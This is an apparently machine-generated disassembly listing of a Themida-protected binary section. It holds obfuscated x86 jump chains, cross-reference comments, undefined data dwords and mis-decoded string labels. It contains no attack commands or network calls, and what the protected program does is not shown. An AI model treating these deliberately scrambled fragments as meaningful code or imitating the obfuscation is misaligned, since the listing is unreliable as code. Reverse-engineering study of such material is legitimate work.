; --------------------------------------------------------------------------- loc_55ABE6: ; CODE XREF: Themida_:00554777j add eax, edi sub eax, 0C412036h push 79FCh mov [esp], ecx mov ecx, 0 add ecx, eax push eax jmp loc_5555B6 ; --------------------------------------------------------------------------- loc_55AC02: ; CODE XREF: Themida_:00565676j add eax, 7FC8E306h jmp loc_55DE6C ; --------------------------------------------------------------------------- dd 0A7364FB8h, 58C60128h, 0FF6F79E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AC19: ; CODE XREF: Themida_:005569E1j mov ebx, [esp] add esp, 4 mov ecx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_562E47 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0BE560000h, 65AD7739h, 0FF6684E9h, 0C3BB53FFh dd 2924BE41h, 0BE565BDEh, 5B250511h, 4E04EEC1h, 7F0ECE81h dd 0C0E9383Ah, 83000091h, 48704C0h, 0F6E95C24h, 83FFFFA0h dd 0BDE904ECh db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC7F: ; CODE XREF: Themida_:00554052j and eax, ecx jmp loc_557546 ; --------------------------------------------------------------------------- dw 5BEh dd 0E9698B72h, 0FFFFF002h ; --------------------------------------------------------------------------- loc_55AC90: ; CODE XREF: Themida_:00554C10j mov [esp], esi mov esi, esp jmp loc_55D7E1 ; --------------------------------------------------------------------------- loc_55AC9A: ; CODE XREF: Themida_:0055960Aj pop eax sub eax, 29137C5h add eax, esi jmp loc_563040 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 58C10100h, 5C240C87h, 51E08950h, 52597CB9h, 6BC98173h dd 0C123857Bh, 0D9F708E1h, 9DAC981h, 0A3E964DAh, 8B00006Ch dd 8953240Ch, 4C381E3h, 83000000h, 69E904C3h, 5200003Eh dd 0F334B8BAh, 0C9BE561Bh, 466F0F5Eh, 6565F681h, 0AE96B6Bh dd 8900006Bh, 5E542434h, 0FFDF4CE9h, 243487FFh, 9242E95Ch dd 0FF52FFFFh, 0E9042474h, 543Fh, 0FF623EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AD21: ; CODE XREF: Themida_:005518BAj mov edx, 3B825BF3h neg edx and edx, 5EED1111h jmp loc_563EDC ; --------------------------------------------------------------------------- db 66h dd 835AD331h, 896602ECh, 0CBE9241Ch, 0BF00006Fh, 5B9A48FDh dd 3A0BF781h, 0EF810463h, 5FF972F2h, 835FFE01h, 348704EEh dd 0D95CE924h, 0EE81FFFFh, 0C6E08EAh, 0D92C681h, 0D6012C5Dh dd 6C09BF57h, 0E99764B3h, 0FFFF941Ah, 2079E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD82: ; CODE XREF: Themida_:0055BFD1j pop ebx jmp loc_55D0C9 ; --------------------------------------------------------------------------- dd 0D56DC781h, 0FA295221h, 2D3CE9h, 0FD885100h, 8359EE88h dd 0BEE904ECh db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ADA3: ; CODE XREF: Themida_:00554B45j add ecx, 4 xchg ecx, [esp] jmp loc_562740 ; --------------------------------------------------------------------------- aI4Hd db '┴4$hD"',0 dd 240C8900h, 8E043368h, 240C8B61h, 0E9E38953h, 0FFFFDECCh ; --------------------------------------------------------------------------- loc_55ADCC: ; CODE XREF: Themida_:00557952j mov ebx, 0E6B4014Ch jmp loc_55EF6D ; --------------------------------------------------------------------------- loc_55ADD6: ; CODE XREF: Themida_:0056096Fj mov dh, al mov bl, dh pop edx pop eax pop ecx jmp loc_562ACE ; --------------------------------------------------------------------------- dw 0ED81h dd 0DF4276ACh, 215DEE29h, 2434FFF1h, 4C4815Eh, 50000000h dd 96CCE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ADFE: ; CODE XREF: Themida_:00560303j push dword ptr [esp] jmp loc_5513F4 ; --------------------------------------------------------------------------- loc_55AE06: ; CODE XREF: Themida_:005598B5j not edi add edi, 5C250FD3h jmp loc_55431C ; --------------------------------------------------------------------------- db 81h dd 940B29C5h, 64BB533Eh, 29293E23h, 0F5815BDDh, 651513Fh dd 4ACBE9h, 246C0100h, 3C8B5D04h, 4C48324h, 246D68h, 242C8900h dd 0E204F1BDh, 72BB5338h, 4B1C4743h, 141BBE56h, 0C7E92490h dd 8900004Ch, 60B5240Ch, 0FE07EDC0h, 0EDB753C5h, 80C5EF80h dd 0F78077E7h, 5BFD28DFh, 0B1516653h, 66CF8827h, 0DAC78059h dd 1C8BFD00h, 4C48124h, 52000000h, 0C58015B6h, 66F50026h dd 0E926B252h, 0FFFFBF7Ch, 55242489h, 0FFA743E9h, 665A66FFh dd 0E956665Dh, 0FFFFABBDh, 9CBE5657h, 0E901BF5Bh, 0AE28h dd 932DE801h, 565DBE2Ch, 0FFC580E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AEC5: ; CODE XREF: Themida_:0055140Ej pop edx sub edi, ebp sub edi, 1E1B3063h push dword ptr [esp] pop ebp sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_560CBF ; --------------------------------------------------------------------------- db 83h, 0E9h, 4 dd 0E9240C87h, 0FFFF9D00h dword_55AEF8 dd 0E9028F66h, 0FFFF605Fh, 8358C509h, 0C581FFEDh, 0D77A24F5h ; DATA XREF: Themida_:00550E10o dd 4E27B951h, 0E18118CCh, 41CF3D6Eh, 6FB5C981h, 0E1817734h dd 162735E3h, 1373E9h db 0 ; --------------------------------------------------------------------------- loc_55AF29: ; CODE XREF: Themida_:00555782j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add esi, 4 push edx mov edx, 5A2634CFh shr edx, 3 inc edx sub edx, 53C227BBh jmp loc_5657BE ; --------------------------------------------------------------------------- loc_55AF50: ; CODE XREF: Themida_:00553CE9j mov [esp], eax sub esp, 4 mov [esp], edi jmp loc_557741 ; --------------------------------------------------------------------------- db 68h, 0BCh, 25h dd 14890000h, 88C68824h, 24148BF3h, 4C481h, 8B660000h dd 0C4832404h, 0DFA1E902h, 0D8E9FFFFh, 59FFFF5Fh, 535AF430h dd 0F38080B3h, 0A3E1E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF96: ; CODE XREF: Themida_:00559F12j push esi mov esi, esp jmp loc_563674 ; --------------------------------------------------------------------------- dw 7C01h dd 34FF0424h, 0D752E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFAA: ; CODE XREF: Themida_:0056480Fj dec ebx push eax mov eax, 43C14ACh jmp loc_5593A9 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 1CBF6853h, 2BE94FBAh, 81FFFFD7h, 4C4h, 1C4F0900h dd 83240C8Bh, 84E904C4h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFDB: ; CODE XREF: Themida_:005593CAj push ecx jmp loc_557146 ; --------------------------------------------------------------------------- loc_55AFE1: ; CODE XREF: Themida_:0055F17Dj sub edi, 4 jmp loc_5627CE ; --------------------------------------------------------------------------- dd 4BAh, 8BD70100h, 0C4812414h, 4, 0BCB85051h, 0E9213174h dd 8BB0h ; --------------------------------------------------------------------------- loc_55B008: ; CODE XREF: Themida_:005644F2j push ebp push esp pop ebp jmp loc_55FBF3 ; --------------------------------------------------------------------------- dd 0C0FEF888h, 8058C788h, 0EE80AEEFh, 72C6803Dh, 0CAE9FE00h dd 81FFFFC4h, 0F92023EDh, 604CE97Fh, 0E1F6FFFFh, 0CCB60F66h dd 75ECE9h, 77DB0500h, 1AE954F7h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B047: ; CODE XREF: Themida_:00553FFDj push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_55FE00 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0EE830000h, 0FC97E904h, 487FFFFh, 0E9C15C24h dd 0E9C00900h, 55Ch, 81240C8Bh, 4C4h, 8BFE3100h, 4E9243Ch dd 0B9FFFFF7h, 199E1FCAh, 295FF931h, 240C8BCAh, 4C481h dd 0A8E90000h, 5700008Fh, 0FF640CE9h, 240481FFh, 4, 81243C8Bh dd 4ECh, 241C8900h, 0C3815B54h, 4, 0FFF3A1E9h, 52D831FFh dd 0C281E289h, 4, 57BE9h db 0 byte_55B0E1 db 0FFh, 77h, 40h ; DATA XREF: Themida_:00550DA0o dd 0FF5E76E9h, 0E8EB80FFh, 28ACEB80h, 0A62DE9C3h, 0EB810000h dd 2237569Ah, 284E6855h, 3C890000h, 3D406824h, 6FE97C3Eh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B10F: ; CODE XREF: Themida_:00553DD4j mov ch, 4 add ch, dh pop edx push eax mov al, 0B2h xchg bh, al dec bh xchg bh, al add al, 4Ch shr al, 2 sub al, 5Bh add al, 40h jmp loc_559D4D ; --------------------------------------------------------------------------- db 81h dd 85FC77C1h, 59CF29E0h, 0C781F701h, 415B66E0h, 2BB535Eh dd 1000000h, 7D66E9DFh, 4BDFFFFh, 1000000h, 5D04246Ch dd 8124148Bh, 4C4h, 4C28100h, 83000000h, 0E95204C2h, 7A96h ; --------------------------------------------------------------------------- loc_55B16C: ; CODE XREF: Themida_:0055D681j add ebx, 15D5787Ah mov ebp, [esp] add esp, 4 pop edx jmp loc_550F5F ; --------------------------------------------------------------------------- word_55B17E dw 8B66h ; DATA XREF: Themida_:00550F08o dd 0EC832404h, 241C8904h, 0FFE30EE9h, 4C581FFh, 83000000h dd 2C3304EDh, 242C3124h, 5C242C33h, 0B1240C89h, 0FED1F623h dd 2BC180C1h, 8072C980h, 0F18074F1h, 21F180F2h, 4EC81h dd 35E90000h, 8000006Eh, 0E2C09BF2h, 0C7C28003h, 285DF280h dd 0C3285AD3h, 0B39E9h, 0FF352C00h, 32E92434h, 8BFFFFDBh dd 4292424h, 70E99C24h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1EF: ; CODE XREF: Themida_:0055779Cj pop ebp mov ebp, 1AB5BD0h jmp loc_563137 ; --------------------------------------------------------------------------- dw 0C89h dd 5D5DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B202: ; CODE XREF: Themida_:005589ACj xor ebp, 15F31270h xor ebp, 0D365F8F0h push ecx jmp loc_554820 ; --------------------------------------------------------------------------- dd 0DF5FE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B21A: ; CODE XREF: Themida_:0055EF68j neg edx push ecx mov ecx, 68CA7209h xor ecx, 1E9E4D3Fh add edx, ecx pop ecx sub edi, edx pop edx jmp loc_558E09 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 24148924h, 1CE99C50h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B243: ; CODE XREF: Themida_:00558A81j sub ecx, 37D945F5h xor ecx, 1E7629F7h add ecx, 0CCC24D6h jmp loc_556653 ; --------------------------------------------------------------------------- word_55B25A dw 77FFh ; DATA XREF: Themida_:00550CD4o dd 59669D1Ch, 2414D366h, 5CF5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B26A: ; CODE XREF: Themida_:0056391Ej mov edx, ebx pop ebx push 2152h jmp loc_5623BF ; --------------------------------------------------------------------------- db 0C1h dd 0EC8306EEh, 24148904h, 823E0BAh, 8BD60943h, 0C4812414h dd 4, 6469EE81h, 0EEC14E51h, 46D6F708h, 0C95FC681h, 565500F4h dd 0FF654FE9h, 240C89FFh, 88C28852h, 93B9E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2B6: ; CODE XREF: Themida_:005548FDj add esi, 1 xchg esi, ebp inc ebp and ebp, 4BE413B6h inc ebp sub ebp, 7E447FE7h add ebp, 75846D54h add esi, ebp mov ebp, [esp] add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_564D6B ; --------------------------------------------------------------------------- loc_55B2EB: ; CODE XREF: Themida_:00552534j sub esp, 4 mov [esp], ebp jmp loc_5641A9 ; --------------------------------------------------------------------------- loc_55B2F6: ; CODE XREF: Themida_:005608D4j dec esi and esi, 1C2D3ECEh sub esp, 4 mov [esp], eax mov eax, 2ECB044Eh and esi, eax mov eax, [esp] add esp, 4 shl esi, 1 push ebx mov ebx, 8B3020Ah add esi, ebx pop ebx sub edx, esi jmp loc_55D558 ; --------------------------------------------------------------------------- loc_55B328: ; CODE XREF: Themida_:00560E52j sub eax, esi pop esi push ebp push 3833h mov [esp], edx mov edx, 799402D1h mov ebp, edx pop edx add ebp, 0C0CBFD5Ah push ebx mov ebx, 3579204Dh add ebx, 579D2134h jmp loc_559F33 ; --------------------------------------------------------------------------- aYsdm db 'YИdM',0 db 0 ; --------------------------------------------------------------------------- loc_55B359: ; CODE XREF: Themida_:005535E5j push esi mov esi, 29481A5Eh sub ecx, esi mov esi, [esp] add esp, 4 push eax jmp loc_560A59 ; --------------------------------------------------------------------------- loc_55B36D: ; CODE XREF: Themida_:00563B7Cj sub ebx, 3AAD04C2h add ebx, 2402AE27h jmp loc_562821 ; --------------------------------------------------------------------------- dw 0F75Fh aGskc db 'вGИk≈',0 db 0 ; --------------------------------------------------------------------------- loc_55B387: ; CODE XREF: Themida_:0055D208j mov esi, ebp pop ebp jmp loc_55CF14 ; --------------------------------------------------------------------------- db 81h dd 43350CF3h, 5BDA3129h, 9034E9h, 5DE80100h, 3868F801h dd 0E9000029h, 628Ch ; --------------------------------------------------------------------------- loc_55B3AC: ; CODE XREF: Themida_:0055E677j sub ecx, 7DAA6826h pop edx xchg ecx, [esp] mov esp, [esp] xchg ebp, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_550F5F ; --------------------------------------------------------------------------- loc_55B3C9: ; CODE XREF: Themida_:0055FBE2j push ebx mov ebx, 72880A38h push esi mov esi, 3B941DAh jmp loc_553338 ; --------------------------------------------------------------------------- db '^hл',0Dh,0 align 10h aIWVVwbEho db '┴,$W©',27h,'v ^VW│,$╔H╝',0 aBEho db '^│ф╔H╝',0 db 89h, 0F5h, 5Eh dd 33BB535Fh, 21659246h, 0F7455BDDh, 81E5D1DDh, 2691DBC5h dd 5023E999h, 0D6010000h, 0FF70DFE9h, 240C89FFh, 7BE9D188h dd 0B8FFFF76h, 5BDF2285h, 48BC309h, 4C48124h, 52000000h dd 0B27186BAh, 5C28124h, 312E06EBh, 0D524E9D3h, 8368FFFFh dd 8900003Fh, 0F4E92424h, 55FFFF98h, 0BBBB6653h, 0E48CE914h db 2 dup(0FFh) word_55B462 dw 8B66h ; DATA XREF: Themida_:00550D7Co dd 8953240Ch, 4BD55E3h, 81000000h, 614566EBh, 81EB0173h dd 614566C3h, 0B8E95D73h db 0A5h, 2 dup(0) byte_55B483 db 66h ; DATA XREF: Themida_:00550CF8o dd 6824048Bh, 738Ch, 54240C89h, 55535559h, 0D74B7D68h dd 0ED815D44h, 0FE39497Bh, 0C15DEB89h, 0EBD103EBh, 7246EB81h dd 0CB810968h, 17F27870h, 0FFDD64E9h, 241489FFh, 0FFB450E9h dd 4ED83FFh, 8B242C87h, 34892424h, 4499E924h, 34FF0000h dd 25416887h, 2C890000h, 7ACEBD24h, 0E5C123EDh, 2EDC104h dd 0CF7F581h, 57503925h, 0EF43D6BFh, 503B82Dh, 0F83145B5h dd 0C53055Fh, 0F9E9FFD0h, 5EFFFFF9h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 0AE9240Ch, 50FFFFD8h, 536116B8h, 5E8C174h dd 0A7408505h, 0AE50E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B532: ; CODE XREF: Themida_:00559B85j sub ecx, 7B5F539Ch sub ecx, 7D575255h jmp loc_55A342 ; --------------------------------------------------------------------------- aUh_q db 'Uh_q',0 dd 24248900h, 4240481h, 0E9000000h, 0F45h, 0E98045B1h dd 39C3802Fh, 0EB80CB00h, 73E95939h, 0BDFFFFF6h, 4D8B602Ch dd 0F5BED81h, 0EA813CAEh, 678D3F7Dh, 8DE9EA29h, 5BFFFFEDh dd 885AD588h, 0B8E9592Ah, 8300004Eh, 0FF5504C4h, 0FF042474h dd 565D2434h, 6C29E954h, 0E981FFFFh, 1DBC62ABh, 0FF7FE2E9h db 0FFh byte_55B5AD db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550E5Co dd 2DFE6824h, 3C890000h, 9280E924h, 7BAFFFFh, 689AC7D9h dd 210Ah, 52240489h, 2C4920BAh, 8AEA811Fh, 0E925935Bh dd 90CDh, 0D86C840Fh, 0DA68FFFFh, 89000016h, 34FF241Ch dd 2434FF24h, 6F34E9h, 1CF75300h, 0F3815B24h, 3EE476A8h dd 7D91C381h, 92E95094h, 8B000051h, 0C4812434h, 4, 0E92434FFh dd 5407h ; --------------------------------------------------------------------------- loc_55B61C: ; CODE XREF: Themida_:00552A50j add esi, ebp mov ebp, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5636A8 ; --------------------------------------------------------------------------- loc_55B633: ; CODE XREF: Themida_:0055963Dj sub eax, 10A111Eh inc eax or eax, 752B1890h push edx mov edx, 7A06454Fh not edx neg edx sub edx, 5BCDC631h or eax, edx pop edx push edx mov edx, 0 jmp loc_557968 ; --------------------------------------------------------------------------- dd 4BB53h, 0DA290000h, 2414875Bh, 0E4E5E95Ch, 34FFFFFFh dd 8F6CE924h, 64BDFFFFh, 0F739EE0Fh, 0C1E5D1DDh, 0ED8105E5h dd 67313188h, 0E908EDC1h, 350h, 243CD25Ch, 58C5E99Ch, 6C81FFFFh dd 4A460424h, 0E95F7D20h, 0FFFF67F7h, 0F0E9D029h, 0C1000044h dd 814A06E2h, 0E47622C2h, 61BB5319h, 814A1F22h, 6C5D1DEBh dd 9CF3810Ch, 812F2C6Ah, 9B13B7C3h, 0BAF38161h, 971A3ADh dd 96E95BDAh, 81FFFF92h, 4AD2EEC6h, 5EF03107h, 0FFE796E9h dd 0E9E389FFh, 0FFFFD760h, 71F368h, 24148900h, 0A654C1BAh dd 0F1EA8178h, 81626A31h, 9D5C0EF2h, 1EA8120h, 57000000h dd 624915BFh, 6EFC172h, 0FF90E4E9h, 0C48158FFh, 4, 0E906B353h dd 8045h ; --------------------------------------------------------------------------- loc_55B730: ; CODE XREF: Themida_:00562B3Fj shr eax, 0Eh xor eax, ecx push 437h mov [esp], eax push 2210h mov [esp], edi jmp loc_56520F ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 8304C483h, 0D8E904C4h, 58FFFF85h, 963C102Dh dd 1F640526h, 0E8052350h, 511F866Dh, 41B2BB9h, 75CAE960h dd 0F581FFFFh, 6B8BBB92h, 0AE9E931h, 89FFFFD4h, 5BD242Ch dd 8914E345h, 77D3E9E8h, 5DBE0000h, 29747267h, 5E042474h dd 5DBB535Fh, 0E9747267h, 4808h ; --------------------------------------------------------------------------- loc_55B7A8: ; CODE XREF: Themida_:00562824j add esi, ecx mov ecx, [esp] jmp loc_564AA5 ; --------------------------------------------------------------------------- dw 295Fh dd 19F605E8h, 5E5D6A98h, 0FFAFC3E9h, 7E5FB8FFh, 0E0C114E2h dd 8E0C108h, 2A83E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B7D2: ; CODE XREF: Themida_:0055677Fj mov ebx, 533464Bh sub edx, ebx pop ebx xor edx, 5BDC4528h jmp loc_558DE5 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0CB22E95Ch, 34FFFFFFh, 241C8B24h, 4C481h, 68550000h dd 155Eh, 0FFC93DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B805: ; CODE XREF: Themida_:005612BDj mov [esp], ebx mov ebx, 35E24526h neg ebx shl ebx, 1 dec ebx jmp loc_5613CC ; --------------------------------------------------------------------------- db 51h dd 0D5300AB9h, 898EE909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B822: ; CODE XREF: Themida_:005658FBj shl esi, 7 or esi, 661571F1h or esi, 53F750FEh shr esi, 4 xor esi, 5ACCD841h sub ebx, esi pop esi add ebx, 620E20EEh jmp loc_565B8B ; --------------------------------------------------------------------------- dd 8704E983h, 248B240Ch, 24048924h, 3529CBB8h, 0BA52557Dh dd 37911480h, 0FFCCF8E9h, 0F32959FFh, 0E924348Bh, 0FFFFEDCDh dword_55B870 dd 4EC8150h, 89000000h, 0E953243Ch, 0FFFF8136h, 0C76AEB81h ; DATA XREF: Themida_:00550E90o dd 0C381F087h, 0EE87C7B5h, 0FBE9D901h, 28FFFF8Ah, 927DE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B89A: ; CODE XREF: Themida_:00556D97j mov esp, [esp] pop esi jmp loc_565980 ; --------------------------------------------------------------------------- loc_55B8A3: ; CODE XREF: Themida_:00557440j add ebp, ebx jmp loc_55E235 ; --------------------------------------------------------------------------- dw 0D831h dd 66C3315Bh, 6800B60Fh, 462Bh, 54243489h, 0FEBF575Eh dd 0C129C443h, 0E95308E7h, 1D95h, 0FE7D98BDh, 8EDC14Ch dd 2E0CED81h, 77E945C1h, 0F70000A1h, 81DBF7D3h, 9B74ADE3h dd 0ADC3810Ch, 81DB2974h, 0C00DC0C1h, 81D92930h, 0C00DC0E9h dd 5C45E930h, 0E5800000h, 0C9F58059h, 943DE9h db 0 ; --------------------------------------------------------------------------- loc_55B90D: ; CODE XREF: Themida_:00551191j and esi, 2F3225F6h sub esi, 5C043BF8h jmp loc_5625E3 ; --------------------------------------------------------------------------- loc_55B91E: ; CODE XREF: Themida_:0055755Aj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_556DB9 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0EBh dd 895AC693h, 8E95BDDh, 81FFFFC4h, 87B2C5EEh, 673FE9E6h dd 248BFFFFh, 0F8A8E924h, 0C181FFFFh, 6CA451B9h, 723DC981h dd 77E91A59h, 31000096h, 240C8BCFh, 5FC8E9h, 243C8B00h dd 4C481h, 0D6010000h, 0FF6877E9h, 5FEBBDFFh, 45453BC7h dd 5FE9B951h, 0CD313BC7h, 0FFFDB9E9h, 0EC8157FFh, 4, 0B8240489h dd 4BCB08EFh, 2158C789h, 243C8BFBh, 0FF7DAAE9h, 0F8EF81FFh dd 1580508h, 0F8C781DFh, 5B580508h, 0E165C781h, 28E9AAA1h dd 80FFFF92h, 8E90AEFh, 0F6000022h, 66D1F6D9h, 0C1FFE953h dd 0E945FFFFh, 8722h, 4AF4ED81h, 0D5E9001Dh, 81FFFF81h dd 2459D1E7h, 0FFEF812Eh, 0E91694F3h, 0FFFF6CF8h ; --------------------------------------------------------------------------- loc_55B9FC: ; CODE XREF: Themida_:00564A1Cj add ebp, 2A91D398h push edx mov edx, 1ECAF228h sub ebp, edx pop edx add edx, ebp pop ebp sub edx, eax jmp loc_5585DA ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 405E089h, 83000000h, 48704C0h, 3250E924h, 0DE310000h dd 39D5E9h, 241C8900h, 123EFABBh, 0E3814B0Dh, 213421B9h dd 8BD9E955h, 0FFBE0000h, 0E9FFFFFBh, 0FFFFDE8Eh ; --------------------------------------------------------------------------- loc_55BA50: ; CODE XREF: Themida_:0055FD74j pop ebx xor ebx, 716E3A35h mov edi, ebx pop ebx mov eax, edi push dword ptr [esp] pop edi jmp loc_564A7B ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 8104C483h, 0DE664AC6h, 1268576Ah, 89000035h, 0A3682414h dd 0E9000026h, 0FFFF6465h, 0E9243C89h, 0FFFFE188h, 50241C89h dd 0E388D7B4h, 0E924048Bh, 6021h ; --------------------------------------------------------------------------- loc_55BA9C: ; CODE XREF: Themida_:005642C1j pop esp jmp loc_5517C4 ; --------------------------------------------------------------------------- word_55BAA2 dw 2CACh ; DATA XREF: Themida_:00550E78o dd 0A1E95312h, 6800002Eh, 1A48h, 3C1BE954h, 2C310000h dd 242C3324h, 3124248Bh, 30FF66C3h, 0FF5496E9h, 0E3C05AFFh dd 4EC8306h, 0B5240C89h, 50D5F62Ah, 0ECC068B4h, 50CCFE08h dd 12454F6h, 7DD0E9h, 4C18300h, 8B240C87h, 0BF0F2424h dd 707A68C8h, 0C890000h, 545DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB02: ; CODE XREF: Themida_:00555584j xchg ecx, [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_550F5F ; --------------------------------------------------------------------------- dd offset dword_51AC48+509h db 0CBh, 59h, 0E9h dd 4FF8h, 951EE952h, 8B540000h, 0C4832414h, 4C28104h, 55000000h dd 0D45F2ABDh, 0B6CD8114h, 8110763Ah, 98046C5h, 5DEA01EBh dd 5C241487h, 1B54BB53h, 815127DBh, 4ECh, 24348900h, 55D868h dd 8EF1E94Eh, 28580000h, 24148BF3h, 4C483h, 0ECC380CBh dd 0D3C38059h, 676FE9h, 4BF5700h, 1000000h, 85E95FFEh db 8, 2 dup(0) byte_55BB87 db 0FFh ; DATA XREF: Themida_:00550EE4o dd 34FF3C77h, 24048B24h, 4C481h, 37E90000h, 81000002h dd 0F364BEC6h, 946FE97Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BBA6: ; CODE XREF: Themida_:00555442j add dword ptr [esp], 4 pop dword ptr [esp] push 12CEh jmp loc_556799 ; --------------------------------------------------------------------------- dw 0FE31h dd 0D6F7F731h, 0DF87F787h, 81DF874Bh, 0F7044ACFh, 7963E927h dd 0DEF7FFFFh, 0F681EED1h, 3BD04DE5h, 63A9BF57h, 0E7811A7Ch dd 2FE03B15h, 7707E781h, 0C7812ECAh, 236219A1h, 1D7AC681h dd 0FE0123F6h, 1D7AEE81h, 685F23F6h, 101Eh, 5FBDE9h, 0E4C58100h dd 317F716Eh, 0CD215DE9h, 0E9FD8759h, 801h ; --------------------------------------------------------------------------- loc_55BC20: ; CODE XREF: Themida_:0055372Cj mov eax, [esp] jmp loc_563B8C ; --------------------------------------------------------------------------- dd 0F6EFB151h, 80C9FED1h, 0CB00F7C1h, 81240C8Bh, 4C4h dd 44CFE900h, 1660000h, 665866C3h, 34816653h, 6660B624h dd 0F581665Dh, 665B60B6h, 3D19E581h, 0FFA0B9E9h, 0BA525CFFh dd 25C13BFAh, 148BD131h, 4C48124h, 0E9000000h, 0FFFFE5C6h dd 5FCAC681h, 0E6C15F6Ch, 3473E903h, 525E0000h, 54DFE2BAh dd 5C381A3h, 1698B72h, 0EBE956D3h, 0B3FFFFEFh, 0A82CE933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCA2: ; CODE XREF: Themida_:0055EBF9j mov edx, 0FDA8D663h jmp loc_55DF0D ; --------------------------------------------------------------------------- dd 1CD168h, 768BE900h, 481FFFFh, 424h, 0C1815900h, 4, 0FFADABE9h dd 7C0158FFh, 0C7E90424h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCD3: ; CODE XREF: Themida_:00558EB5j mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_55D94D ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF6161h, 0B9DCE956h, 0D8BFFFFFh, 8125C53Dh, 6420D5C3h dd 8581E93Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BD06: ; CODE XREF: Themida_:0055CA42j pop edx add esi, 4E2A64E1h jmp loc_554433 ; --------------------------------------------------------------------------- aAZsds db '─цZИD▒',0 align 2 loc_55BD1A: ; CODE XREF: Themida_:005533D3j push dword ptr [esp] jmp loc_55C2C4 ; --------------------------------------------------------------------------- word_55BD22 dw 4ACh ; DATA XREF: Themida_:00550E00o dd 0E9C404D6h, 588Fh, 0D828C204h, 8059E9h, 0E9FE2900h dd 3421h, 81E9EE01h, 5AFFFFB0h, 0FFCE5FE9h, 4D028FFh, 2434FFAAh dd 0E289525Ah, 4C281h, 0E9510000h, 0FFFF5A45h, 0B4BF575Fh dd 13A4F33h, 243C8BF8h, 54F9E9h, 0C6815E00h, 4, 8704C683h dd 685C2434h, 71BFh, 169AE9h, 58C22900h, 9BC2E9h, 0E7895700h dd 4BD55h, 0E9560000h, 0FFFF875Eh ; --------------------------------------------------------------------------- loc_55BDA0: ; CODE XREF: Themida_:00561371j mov ebp, 3672381Ch jmp loc_56069D ; --------------------------------------------------------------------------- dw 0F681h dd 7EC901CCh, 815EF189h, 0F630F9C3h, 81CB017Bh, 0F630F9EBh dd 2434FF7Bh, 81240C8Bh, 4C4h, 224EE900h, 68500000h, 391Fh dd 81242489h, 42404h, 48B0000h, 4C48324h, 79E95450h, 81FFFF59h dd 0C07A59E9h, 59CF0152h, 34FFF801h, 243C8B24h, 18AEE9h db 0 ; --------------------------------------------------------------------------- loc_55BE05: ; CODE XREF: Themida_:005556B2j add esp, 4 or edi, ebx pop ebx and edi, 2A2006C2h sub edi, 0FFFFFFFFh push 7AC1h mov [esp], ecx mov ecx, 0 sub ecx, edi push ebp mov ebp, ecx mov edi, ebp pop ebp pop ecx jmp loc_55521C ; --------------------------------------------------------------------------- loc_55BE32: ; CODE XREF: Themida_:0056335Fj sub esp, 4 mov [esp], eax jmp loc_551D15 ; --------------------------------------------------------------------------- loc_55BE40: ; CODE XREF: Themida_:005574ECj shl eax, 5 sub eax, 776F7F70h push edi mov edi, 13164BDCh add eax, edi jmp loc_557DE7 ; --------------------------------------------------------------------------- loc_55BE55: ; CODE XREF: Themida_:005562EEj add edi, 832F29D2h jmp loc_563816 ; --------------------------------------------------------------------------- dd 815DE931h, 856419EBh, 81CB295Bh, 856419C3h, 0B511E95Bh dd 0EA81FFFFh, 62F121C0h, 0FF7408E9h, 0D2C181FFh, 0E9D60A37h dd 